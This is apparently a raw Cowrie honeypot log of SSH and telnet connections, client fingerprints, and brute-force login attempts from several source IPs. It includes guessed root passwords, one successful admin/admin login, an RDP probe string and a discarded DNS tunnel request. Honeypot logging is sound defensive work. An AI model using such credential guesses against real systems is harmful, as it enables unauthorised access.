{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4131bf7cb1de","protocol":"telnet","message":"New connection: 192.119.13.58:45828 (10.17.0.5:23) [session: 4131bf7cb1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:50.474669Z"}
{"eventid":"cowrie.session.closed","duration":52.507842779159546,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:50.482456Z","src_ip":"192.119.13.58","session":"9cb3e356d11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.23990178108215,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:50.967884Z","src_ip":"192.119.13.58","session":"6206459cb01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.34999918937683,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:52.145415Z","src_ip":"192.119.13.58","session":"ea4338968d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12753510475159,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:52.795264Z","src_ip":"192.119.13.58","session":"ab66f31ec7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50612759590149,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:53.998762Z","src_ip":"192.119.13.58","session":"23da0695a0ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":51805,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7073c551e10","protocol":"ssh","message":"New connection: 14.224.227.189:51805 (159.203.135.109:22) [session: f7073c551e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:56.438721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:56.442716Z","src_ip":"14.224.227.189","session":"f7073c551e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:56.688247Z","src_ip":"14.224.227.189","session":"f7073c551e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww112233","message":"login attempt [root/Ww112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:57.693049Z","src_ip":"14.224.227.189","session":"f7073c551e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.859639167785645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:58.588495Z","src_ip":"192.119.13.58","session":"63507f13262e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:58.941260Z","src_ip":"14.224.227.189","session":"f7073c551e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.81984043121338,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:03.251307Z","src_ip":"192.119.13.58","session":"e8d08f35d042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":45868,"dst_ip":"159.203.135.109","dst_port":22,"session":"a130654c2755","protocol":"ssh","message":"New connection: 43.156.97.164:45868 (159.203.135.109:22) [session: a130654c2755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:17.841228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:17.846858Z","src_ip":"43.156.97.164","session":"a130654c2755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:18.109238Z","src_ip":"43.156.97.164","session":"a130654c2755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:19.231296Z","src_ip":"43.156.97.164","session":"a130654c2755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53094,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a8ecfe8e26b","protocol":"telnet","message":"New connection: 192.119.13.58:53094 (10.17.0.5:23) [session: 8a8ecfe8e26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:19.987839Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:20.511132Z","src_ip":"43.156.97.164","session":"a130654c2755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.43029046058655,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:21.332987Z","src_ip":"192.119.13.58","session":"b175f9995f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912144899368286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:21.386702Z","src_ip":"192.119.13.58","session":"4131bf7cb1de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.406414270401,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:24.746978Z","src_ip":"192.119.13.58","session":"9829f8350723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51514,"dst_ip":"10.17.0.5","dst_port":22,"session":"d82b45018fd7","protocol":"ssh","message":"New connection: 152.42.212.128:51514 (10.17.0.5:22) [session: d82b45018fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:27.807351Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:27.815138Z","src_ip":"152.42.212.128","session":"d82b45018fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:27.822088Z","src_ip":"152.42.212.128","session":"d82b45018fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef22be2a4e18","protocol":"ssh","message":"New connection: 109.237.96.109:49282 (10.17.0.5:22) [session: ef22be2a4e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:28.631046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:28.635713Z","src_ip":"109.237.96.109","session":"ef22be2a4e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:28.727479Z","src_ip":"109.237.96.109","session":"ef22be2a4e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:29.008949Z","src_ip":"109.237.96.109","session":"ef22be2a4e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:30.114452Z","src_ip":"109.237.96.109","session":"ef22be2a4e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50378,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4e23b5cada","protocol":"telnet","message":"New connection: 192.119.13.58:50378 (10.17.0.5:23) [session: 9b4e23b5cada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:40.128372Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f63422ce1d","protocol":"telnet","message":"New connection: 192.119.13.58:53120 (10.17.0.5:23) [session: a7f63422ce1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:40.853392Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44366,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3ef729cdaa","protocol":"telnet","message":"New connection: 192.119.13.58:44366 (10.17.0.5:23) [session: 9f3ef729cdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:45.728294Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":50356,"dst_ip":"159.203.135.109","dst_port":22,"session":"84fe5d523d77","protocol":"ssh","message":"New connection: 41.242.115.83:50356 (159.203.135.109:22) [session: 84fe5d523d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:46.457410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:46.462814Z","src_ip":"41.242.115.83","session":"84fe5d523d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:46.655513Z","src_ip":"41.242.115.83","session":"84fe5d523d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18006,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f607fa1cceb","protocol":"ssh","message":"New connection: 87.251.64.176:18006 (10.17.0.5:22) [session: 7f607fa1cceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.235733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.240480Z","src_ip":"87.251.64.176","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.337557Z","src_ip":"87.251.64.176","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RPM","message":"login attempt [root/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.443989Z","src_ip":"41.242.115.83","session":"84fe5d523d77","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.629023Z","src_ip":"87.251.64.176","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.731187Z","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.833507Z","src_ip":"87.251.64.176","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:47.932929Z","src_ip":"87.251.64.176","session":"7f607fa1cceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:48.635667Z","src_ip":"41.242.115.83","session":"84fe5d523d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"11cdd0d609b0","protocol":"telnet","message":"New connection: 192.119.13.58:42060 (10.17.0.5:23) [session: 11cdd0d609b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:52.270689Z"}
{"eventid":"cowrie.session.closed","duration":38.85019278526306,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:10:58.837911Z","src_ip":"192.119.13.58","session":"8a8ecfe8e26b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0ad6e429c8b","protocol":"telnet","message":"New connection: 192.119.13.58:41366 (10.17.0.5:23) [session: f0ad6e429c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:05.896399Z"}
{"eventid":"cowrie.session.closed","duration":33.61503219604492,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:14.468301Z","src_ip":"192.119.13.58","session":"a7f63422ce1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78016948699951,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:23.908439Z","src_ip":"192.119.13.58","session":"9b4e23b5cada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34430,"dst_ip":"10.17.0.5","dst_port":23,"session":"deabb8bba887","protocol":"telnet","message":"New connection: 192.119.13.58:34430 (10.17.0.5:23) [session: deabb8bba887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:24.923715Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c783d572c0","protocol":"telnet","message":"New connection: 192.119.13.58:36370 (10.17.0.5:23) [session: d8c783d572c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:25.431462Z"}
{"eventid":"cowrie.session.closed","duration":44.099589586257935,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:29.827690Z","src_ip":"192.119.13.58","session":"9f3ef729cdaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57002,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4ca4760548","protocol":"telnet","message":"New connection: 192.119.13.58:57002 (10.17.0.5:23) [session: bf4ca4760548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:30.541470Z"}
{"eventid":"cowrie.session.closed","duration":39.09009289741516,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:31.360565Z","src_ip":"192.119.13.58","session":"11cdd0d609b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":51400,"dst_ip":"159.203.135.109","dst_port":22,"session":"2166dcf00e05","protocol":"ssh","message":"New connection: 43.156.97.164:51400 (159.203.135.109:22) [session: 2166dcf00e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:34.206511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:11:34.211794Z","src_ip":"43.156.97.164","session":"2166dcf00e05","protocol":"ssh"}
